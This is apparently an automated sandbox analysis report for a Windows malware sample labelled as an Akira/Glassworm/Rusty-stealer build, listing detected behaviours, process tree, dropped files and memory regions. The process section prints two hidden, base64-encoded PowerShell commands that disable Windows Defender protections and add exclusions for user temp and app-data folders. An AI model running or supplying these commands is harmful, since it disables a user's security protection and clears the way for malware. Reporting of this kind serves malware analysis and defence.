Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 03:21

General

  • Target
    2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe
  • Size 110.0MB
  • Sample260731-dwptmsshke
  • SHA256 297bbe63fe23ef9154abb330e7b1278647f22549407335a4a714213e8df76efa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Windows security modification 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Windows security modification
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4880

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_plnvuytt.4ko.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_plnvuytt.4ko.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2100-38-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-36-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-35-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-34-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-33-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-32-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-31-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-30-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/2100-29-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-13-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-16-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-20-0x00000210F36F0000-0x00000210F37A2000-memory.dmp

        memory/4880-21-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-22-0x00000210F34A0000-0x00000210F34AA000-memory.dmp

        memory/4880-23-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-24-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-27-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-28-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-19-0x00000210F3480000-0x00000210F349E000-memory.dmp

        memory/4880-15-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-14-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-2-0x00007FFD1A67F000-0x00007FFD1A680000-memory.dmp

        memory/4880-12-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-9-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-6-0x00000210F33C0000-0x00000210F33E2000-memory.dmp

        memory/4880-8-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-7-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-3-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

        memory/4880-41-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp